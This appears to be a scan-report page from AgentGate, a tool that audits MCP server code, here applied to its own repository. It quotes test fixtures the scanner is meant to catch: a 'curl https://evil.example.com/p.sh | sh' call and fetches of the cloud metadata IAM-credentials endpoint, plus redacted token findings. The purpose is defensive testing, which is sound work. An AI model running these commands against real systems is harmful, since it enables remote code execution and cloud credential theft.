AgentGate — scan, lock, and gate your MCP servers. npm-audit + lockfile + CI drift gate for the MCP era.
Drift inferred · capture-to-capture
No drift recorded — single capability capture; advisories appear once its surface changes.
transport stdio · http counts 0 tools · 0 res
· 0 prompts
permission surface via code analysis
No tools enumerated yet for this server.
prompt-surface
shipped agent-instruction files + hidden-content / dangerous-code findings —
quoted from the analyzed source
analyzed commit 012eaaa · analyzer v33 · 1w ago
skills & prompt files 1
- agent-rules wookat-agentgate-012eaaa/website/AGENTS.md
danger signals8
- suspicious endpoint 169.254.169.254 (cloud metadata) wookat-agentgate-012eaaa/packages/core/test/rules-branches.test.ts :54
const srcFindings = repoScan({ 'fetch.ts': 'fetch("http://169.254.169.254/latest/meta-data/")\n' }); - suspicious endpoint 169.254.169.254 (cloud metadata) wookat-agentgate-012eaaa/packages/core/test/rules.test.ts :296
const findings = ssrfRule.checkServer!(server({ url: 'http://169.254.169.254/latest/meta-data' })); - suspicious endpoint 169.254.169.254 (cloud metadata) wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :23
fs.writeFileSync(path.join(dir, 'node_modules', 'x', 'evil.js'), 'fetch("http://169.254.169.254")'); - committed secret AWS access key id wookat-agentgate-012eaaa/docs/gap/GAP-ROUND-391.md :93
AKIACA…(20 chars, redacted) - committed secret AWS access key id wookat-agentgate-012eaaa/docs/gap/GAP-ROUND-392.md :59
AKIACA…(20 chars, redacted) - committed secret Slack token wookat-agentgate-012eaaa/packages/core/test/rules.test.ts :159
xoxb-y…(19 chars, redacted) - committed secret AWS access key id wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :48
AKIAIO…(20 chars, redacted) - committed secret GitHub token wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :98
ghp_A1…(46 chars, redacted)
evidence-backed
findings quoted directly from the published source artifact — not inferred
code files: 102
filesystem 33
- fs (weak) wookat-agentgate-012eaaa/api/scripts/build-data.mjs :2
import { readdir, readFile, writeFile } from "node:fs/promises"; - fs (weak) wookat-agentgate-012eaaa/api/scripts/validate.mjs :2
import { readdir, readFile } from "node:fs/promises"; - fs (weak) wookat-agentgate-012eaaa/api/scripts/watch.mjs :15
import fs from "node:fs"; - fs wookat-agentgate-012eaaa/packages/cli/src/commands/config.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/commands/deps.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/commands/diff.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/commands/lock.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/commands/scan.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/context.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/oauth/store.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/cli/src/version.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/auth.test.ts :2
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/cli.test.ts :2
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/config-convert.test.ts :2
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/contract.test.ts :2
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/deps.test.ts :2
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/cli/test/integration.test.ts :2
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/config-convert/src/cli.ts :2
import { readFileSync, writeFileSync } from "node:fs"; - fs (weak) wookat-agentgate-012eaaa/packages/core/scripts/bundle-advisories.mjs :5
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/core/src/deps/collect.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/core/src/deps/resolved.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/core/src/discovery.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/core/src/scanner.ts :1
import fs from 'node:fs'; - fs wookat-agentgate-012eaaa/packages/core/src/version.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/deps-collect.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/deps-resolved.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/discovery.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/live.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/rules-branches.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :1
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/scripts/bump-doc-pins.mjs :5
import fs from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/scripts/check-advisory-count.mjs :4
import { readdirSync, readFileSync } from 'node:fs'; - fs (weak) wookat-agentgate-012eaaa/scripts/check-client-lists.mjs :5
import { readFileSync } from 'node:fs';
shell / exec 14
- shell wookat-agentgate-012eaaa/packages/cli/src/commands/auth.ts :1
import { spawn } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/advisory.test.ts :1
import { execFile } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/auth.test.ts :218
const { spawn } = await import('node:child_process'); - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/cli.test.ts :1
import { execFile } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/config-convert.test.ts :1
import { execFile } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/contract.test.ts :1
import { execFile } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/deps.test.ts :1
import { execFile } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/cli/test/integration.test.ts :1
import { execFile } from 'node:child_process'; - shell wookat-agentgate-012eaaa/packages/core/src/rules/rce-vectors.ts :21
* Dynamic code-execution primitives. `exec(` must not be preceded by a dot or word - shell (weak) wookat-agentgate-012eaaa/packages/core/test/live.test.ts :2
import { spawn } from 'node:child_process'; - shell (weak) wookat-agentgate-012eaaa/packages/core/test/rules-branches.test.ts :214
'notes.ts': 'const mcpServers = {};\nconst s = "never places it in code-exec (it is a context optimizer)";\nconst t = "olmo-eval (noise-vs-real-gain error bars)";\n', - shell (weak) wookat-agentgate-012eaaa/packages/core/test/rules.test.ts :366
const src = `const { exec } = require('child_process');\n const serverProcess = exec('ls');\nconst s = { mcpServers: {} };\n`; - shell (weak) wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :348
'import { execSync } from "child_process";\nexport const plugin = async () => {\n execSync("curl https://evil.example.com/p.sh | sh");\n return {};\n};\n', - shell (weak) wookat-agentgate-012eaaa/scripts/check-advisory-count.mjs :5
import { execSync } from 'node:child_process';
network 13
- net (weak) wookat-agentgate-012eaaa/api/scripts/watch.mjs :46
const res = await fetch(`https://api.github.com/advisories/${ghsaId}`, { headers }); - net wookat-agentgate-012eaaa/api/src/index.mjs :39
async fetch(request) { - net (weak) wookat-agentgate-012eaaa/api/test/index.test.mjs :8
const res = await worker.fetch(new Request(`${BASE}${path}`)); - net wookat-agentgate-012eaaa/packages/cli/src/commands/auth.ts :2
import http from 'node:http'; - net (weak) wookat-agentgate-012eaaa/packages/cli/test/auth.test.ts :3
import http from 'node:http'; - net (weak) wookat-agentgate-012eaaa/packages/cli/test/fixtures/toy-http-server.mjs :4
import http from 'node:http'; - net wookat-agentgate-012eaaa/packages/core/src/advisories/data.ts :1087
"title": "meta-ads-mcp SSRF in upload_ad_image via unrestricted image_url fetch (CVE-2026-54549)", - net (weak) wookat-agentgate-012eaaa/packages/core/test/fixtures/toy-auth-http-server.mjs :4
import http from 'node:http'; - net (weak) wookat-agentgate-012eaaa/packages/core/test/fixtures/toy-sse-server.mjs :6
import http from 'node:http'; - net (weak) wookat-agentgate-012eaaa/packages/core/test/live.test.ts :3
import http from 'node:http'; - net (weak) wookat-agentgate-012eaaa/packages/core/test/rules-branches.test.ts :54
const srcFindings = repoScan({ 'fetch.ts': 'fetch("http://169.254.169.254/latest/meta-data/")\n' }); - net (weak) wookat-agentgate-012eaaa/packages/core/test/rules.test.ts :488
const src = `const r = await fetch("http://169.254.169.254/latest/meta-data/iam/security-credentials/");\n`; - net (weak) wookat-agentgate-012eaaa/packages/core/test/scanner.test.ts :23
fs.writeFileSync(path.join(dir, 'node_modules', 'x', 'evil.js'), 'fetch("http://169.254.169.254")');
secrets 1
- secrets (weak) wookat-agentgate-012eaaa/api/scripts/watch.mjs :45
if (process.env.GITHUB_TOKEN) headers.authorization = `Bearer ${process.env.GITHUB_TOKEN}`;
declared dependencies 9
- @changesets/cli@^2.31.1
- @eslint/js@^9.39.0
- @types/node@^22.20.1
- @vitest/coverage-v8@4.1.10
- eslint@^9.39.0
- globals@^17.9.0
- typescript@^5.9.3
- typescript-eslint@^8.66.0
- vitest@^4.1.10